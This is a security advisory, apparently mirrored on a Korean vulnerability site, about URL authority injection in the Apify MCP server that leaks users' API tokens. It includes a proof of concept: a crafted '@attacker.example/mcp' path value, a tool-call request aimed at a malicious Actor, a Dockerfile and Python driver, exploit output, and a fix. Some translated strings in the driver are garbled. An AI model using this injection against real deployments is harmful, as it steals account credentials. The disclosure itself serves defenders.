Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N상세 설명
Actor MCP path authority injection leaks Apify token
Summary
@apify/actors-mcp-server version 0.10.7 builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled webServerMcpPath value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted webServerMcpPath (e.g., @attacker.example/mcp) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim's Authorization: Bearer <APIFY_TOKEN> header to every outbound connection, the victim's Apify API token is exfiltrated to the attacker's server. CVSS Base Score: 8.1 (High).
Details
getActorMCPServerURL() in src/mcp/actors.ts:44 constructs the Actor standby MCP URL by naive string concatenation:
1// src/mcp/actors.ts:44 2return `${standbyUrl}${mcpServerPath}`;mcpServerPath originates from the webServerMcpPath field of an Actor definition fetched from the Apify API (src/utils/actor.ts:24-28). The field is trimmed and comma-split in getActorMCPServerPath() (src/mcp/actors.ts:14-20) but is never validated to:
- begin with a
/(relative path), - avoid an
@character (userinfo/authority injection), or - resolve to the same origin as
standbyUrl.
When webServerMcpPath is set to @attacker.example/mcp, the concatenated result becomes:
1https://real-actor-id.apify.actor@attacker.example/mcpNode.js's WHATWG URL parser treats everything before @ as userinfo and extracts attacker.example as the hostname. This is not an edge-case browser behavior — it is specified by RFC 3986 and the WHATWG URL standard.
The constructed URL is forwarded to connectMCPClient() through three independent code paths:
| Call site | Trigger |
|---|---|
src/tools/core/call_actor_common.ts:317 | call-actor MCP tool |
src/utils/actor_details.ts:155 | fetch-actor-details MCP tool |
src/mcp/server.ts:1047 | actor-mcp type tool loading |
connectMCPClient() (src/mcp/client.ts) attaches the victim's Apify token as a bearer credential to every transport type:
1// src/mcp/client.ts:94 — SSEClientTransport requestInit 2authorization: `Bearer ${token}`, 3 4// src/mcp/client.ts:103 — SSE fetch callback 5headers.set('authorization', `Bearer ${token}`); 6 7// src/mcp/client.ts:124 — StreamableHTTPClientTransport requestInit 8authorization: `Bearer ${token}`,There is no origin check anywhere between URL construction and the outbound HTTP request.
Full data-flow chain:
src/mcp/server.ts:811— MCPtools/callrequest parameters are read.src/mcp/server.ts:816—apifyTokenis resolved from_meta.apifyToken, server options, orprocess.env.APIFY_TOKEN.src/tools/core/call_actor_common.ts:489-497— attacker-controlledactoridentifier is resolved viagetActorMcpUrlCached().src/utils/actor.ts:24-28— Actor definition is fetched from the Apify API;webServerMcpPathis passed togetActorMCPServerURL().src/mcp/actors.ts:14-20—webServerMcpPathis trimmed and split; first element is returned without path validation.src/mcp/actors.ts:44—standbyUrl + mcpServerPathproduces an authority-injected URL.connectMCPClient()is called with the injected URL and the victim's token.src/mcp/client.ts:94/103/124—Authorization: Bearer <APIFY_TOKEN>is sent to the attacker's host.
PoC
Environment requirements:
- Docker (network-isolated container; no external network access needed)
- The repository at commit
4e2b185checked out under the build context
Build and run:
1# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory) 2docker build -t vuln-001-poc \ 3 -f vuln-001/Dockerfile \ 4 /path/to/mcp_38_apify__actors-mcp-server 5 6# Run the exploit (--network none: fully air-gapped) 7docker run --rm --network none vuln-001-pocThe Dockerfile:
- Generates a self-signed TLS certificate for
127.0.0.1(IP SAN required for Node.js TLS validation). - Installs
@apify/actors-mcp-server@0.10.7dependencies underpnpm. - Sets
NODE_EXTRA_CA_CERTSso Node.js trusts the self-signed CA. - Runs
exploit.mjs, which:- Starts an HTTPS capture server on
127.0.0.1:31337. - Constructs a
webServerMcpPathof@127.0.0.1:31337/mcp. - Calls
getActorMCPServerURL()directly, producinghttps://apify~hello-world.apify.actor@127.0.0.1:31337/mcp. - Calls
connectMCPClient()with a simulated victim token (apify_api_VICTIM_SECRET_TOKEN_DEMO_12345). - Asserts that the capture server received
Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345.
- Starts an HTTPS capture server on
Observed output (Phase 2 evidence):
1 parsed.hostname : 127.0.0.1 2[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337 3=== STEP 2: attacker HTTPS server received request === 4 Authorization : Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345 5=== RESULT: EXPLOIT SUCCESSFUL === 6[PROOF] Victim token "Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345" arrived at attacker server 127.0.0.1:31337Alternative MCP request path (real-world scenario):
A victim running @apify/actors-mcp-server connected to an MCP host sends the following request, where attacker/malicious-mcp is an Actor published with webServerMcpPath = "@attacker.example/mcp":
1{ 2 "jsonrpc": "2.0", 3 "id": 1, 4 "method": "tools/call", 5 "params": { 6 "name": "fetch-actor-details", 7 "arguments": { 8 "actor": "attacker/malicious-mcp", 9 "output": { "mcpTools": true }10 },11 "_meta": { "mcpSessionId": "poc-session" }12 }13}The attacker's server at attacker.example receives:
1Authorization: Bearer apify_api_victim_tokenURL parser primitive (Node.js REPL verification):
1node -e "const u=new URL('https://ABC.apify.actor@127.0.0.1:31337/mcp'); console.log(u.hostname, u.username)" 2# Output: 127.0.0.1 ABC.apify.actorRecommended fix:
1--- a/src/mcp/actors.ts 2+++ b/src/mcp/actors.ts 3 export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise<string> { 4 const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl); 5- return `${standbyUrl}${mcpServerPath}`; 6+ const url = new URL(mcpServerPath, `${standbyUrl}/`); 7+ if (url.origin !== standbyUrl) { 8+ throw new Error('Actor MCP server path must resolve under the Actor standby URL'); 9+ }10+ url.username = '';11+ url.password = '';12+ return url.toString();13 }Impact
Any user of @apify/actors-mcp-server who:
- has an Apify API token configured (via
APIFY_TOKEN, server options, or_meta.apifyToken), and - is induced to invoke
call-actor,fetch-actor-details, or any actor-mcp type tool against an attacker-controlled Actor,
will have their Apify API token silently exfiltrated to the attacker's server. The Apify API token grants full access to the victim's Apify account, including running and managing Actors, accessing stored data, and incurring compute charges. The attack requires no special privileges on the victim's side and no code execution on the victim's machine — only a crafted Actor definition on the Apify platform.
This is a Server-Side Request Forgery (SSRF) / URL authority injection vulnerability. The attacker redirects the MCP client's outbound connection to an arbitrary host while the client continues to send the victim's credential.
Reproduction artifacts
Dockerfile
1FROM node:24-slim 2 3# ─── system packages ─────────────────────────────────────────────────────────── 4RUN apt-get update && apt-get install -y --no-install-recommends openssl python3 \ 5 && rm -rf /var/lib/apt/lists/* 6 7# ─── self-signed TLS cert for the attacker capture server (127.0.0.1) ───────── 8# IP SAN required: Node.js rejects certs without SAN matching the requested hostname. 9RUN mkdir /certs && \10 openssl req -x509 -newkey rsa:2048 \11 -keyout /certs/key.pem -out /certs/cert.pem \12 -days 1 -nodes \13 -subj '/CN=127.0.0.1' \14 -addext 'subjectAltName=IP:127.0.0.1' \15 2>/dev/null16 17# ─── vulnerable package ────────────────────────────────────────────────────────18WORKDIR /app19COPY repo/ ./20 21# pnpm@11 is pinned in devEngines; npm/yarn refuse to run inside this checkout.22RUN npm install -g pnpm@11.1.3 --quiet 2>/dev/null23 24# Install only production deps — build output not needed; exploit imports from source via tsx.25# --frozen-lockfile validates the lockfile is up-to-date with package.json.26RUN pnpm install --frozen-lockfile27 28# ─── exploit files ─────────────────────────────────────────────────────────────29COPY vuln-001/exploit.mjs /exploit.mjs30 31# Trust our self-signed CA so both undici/fetch and node:https accept TLS connections to 127.0.0.1.32ENV NODE_EXTRA_CA_CERTS=/certs/cert.pem33 34CMD ["node", "/exploit.mjs"]poc.py
1#!/usr/bin/env python3 2""" 3VULN-001 dynamic PoC driver. 4 5Builds the Docker image, runs the exploit container, collects observable evidence, 6and writes phase2_result.json with the outcome. 7""" 8import json 9import os10import subprocess11import sys12import textwrap13 14# ─── paths ────────────────────────────────────────────────────────────────────15THIS_DIR = os.path.dirname(os.path.abspath(__file__)) # vuln-001/16CONTEXT_DIR = os.path.dirname(THIS_DIR) # mcp_38_apify__actors-mcp-server/17DOCKERFILE = os.path.join(THIS_DIR, 'Dockerfile')18RESULT_PATH = os.path.join(THIS_DIR, 'phase2_result.json')19IMAGE_TAG = 'vuln-001-poc'20 21BUILD_CMD = ['docker', 'build', '-t', IMAGE_TAG, '-f', DOCKERFILE, CONTEXT_DIR]22RUN_CMD = ['docker', 'run', '--rm', '--network', 'none', IMAGE_TAG]23 24 25def run(cmd, *, timeout, **kwargs):26 return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, **kwargs)27 28 29def write_result(payload: dict):30 with open(RESULT_PATH, 'w') as f:31 json.dump(payload, f, indent=2, ensure_ascii=False)32 print(f'\n[*] phase2_result.json write complete: {RESULT_PATH}')33 34 35def main():36 print('=' * 70)37 print('VULN-001 dynamic reproduction — Actor MCP path authority injection')38 print('=' * 70)39 40 # ── 1. Docker build ───────────────────────────────────────────────────────41 print(f'\n[1/2] building Docker image...')42 print(f' command: {" ".join(BUILD_CMD)}')43 build = run(BUILD_CMD, timeout=600)44 if build.returncode != 0:45 msg = build.stderr[-2000:] if build.stderr else build.stdout[-2000:]46 print('[!] build failed:\n', msg)47 write_result({48 'passed': False,49 'verdict': 'FAIL',50 'reason': f'Docker build failed. error: {msg[:500]}',51 'build_command': ' '.join(BUILD_CMD),52 'run_command': ' '.join(RUN_CMD),53 'poc_command': f'python3 {os.path.relpath(__file__)}',54 'evidence': msg[:1000],55 'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],56 })57 sys.exit(1)58 print('[+] build succeeded')59 60 # ── 2. Docker run ─────────────────────────────────────────────────────────61 print(f'\n[2/2] text while running the container...')62 print(f' command: {" ".join(RUN_CMD)}')63 try:64 run_result = run(RUN_CMD, timeout=120)65 except subprocess.TimeoutExpired:66 write_result({67 'passed': False,68 'verdict': 'INCOMPLETE',69 'reason': 'container execution 120seconds timeout. text text or TLS handshake issuetext can exists.',70 'build_command': ' '.join(BUILD_CMD),71 'run_command': ' '.join(RUN_CMD),72 'poc_command': f'python3 {os.path.relpath(__file__)}',73 'evidence': 'timeout',74 'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],75 })76 sys.exit(1)77 78 stdout = run_result.stdout79 stderr = run_result.stderr80 print('\n--- container stdout ---')81 print(stdout)82 if stderr:83 print('--- container stderr (text 1000characters) ---')84 print(stderr[:1000])85 86 # ── 3. result verdict ──────────────────────────────────────────────────────────87 passed = (88 run_result.returncode == 089 and 'attacker HTTPS server received request' in stdout90 and 'EXPLOIT SUCCESSFUL' in stdout91 and 'apify_api_VICTIM_SECRET_TOKEN_DEMO_12345' in stdout92 )93 94 # Build evidence excerpt (key lines only)95 evidence_lines = [l for l in stdout.splitlines()96 if any(k in l for k in ['PASS', 'PROOF', 'received request',97 'EXPLOIT', 'parsed.hostname', 'Authorization'])]98 evidence = '\n'.join(evidence_lines[:20]) if evidence_lines else stdout[-1500:]99 100 if passed:101 print('\n[✓] PASS — token leak vulnerability dynamic reproduction success')102 write_result({103 'passed': True,104 'verdict': 'PASS',105 'reason': (106 'Docker container withintext vulnerabilitytext fully reproductiondone. '107 'actors.ts:44text `${standbyUrl}${mcpServerPath}` string text '108 '`@127.0.0.1:31337/mcp` formtext mcpServerPathtext textdo '109 '`https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp` URLtext createand, '110 'Node.js URL text hostnametext 127.0.0.1(attacker server)text dotextdo '111 'client.ts:94text `Authorization: Bearer <APIFY_TOKEN>` headertext attacker HTTPS servertext beforetextdone.'112 ),113 'build_command': ' '.join(BUILD_CMD),114 'run_command': ' '.join(RUN_CMD),115 'poc_command': f'python3 poc.py',116 'evidence': evidence,117 'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],118 })119 else:120 reason_detail = ''121 if run_result.returncode != 0:122 reason_detail = f'container exit code {run_result.returncode}. '123 if 'TOKEN_CAPTURED' not in stdout:124 reason_detail += 'attacker serverfrom token capture text textnot not. '125 if 'EXPLOIT SUCCESSFUL' not in stdout:126 reason_detail += 'final success message none. '127 128 print(f'\n[✗] FAIL — {reason_detail}')129 write_result({130 'passed': False,131 'verdict': 'FAIL',132 'reason': f'failed to reproduce the vulnerability. {reason_detail}stderr: {stderr[:300]}',133 'build_command': ' '.join(BUILD_CMD),134 'run_command': ' '.join(RUN_CMD),135 'poc_command': f'python3 poc.py',136 'evidence': stdout[-2000:] + ('\nSTDERR: ' + stderr[:500] if stderr else ''),137 'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],138 })139 sys.exit(1)140 141 142if __name__ == '__main__':143 main()AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.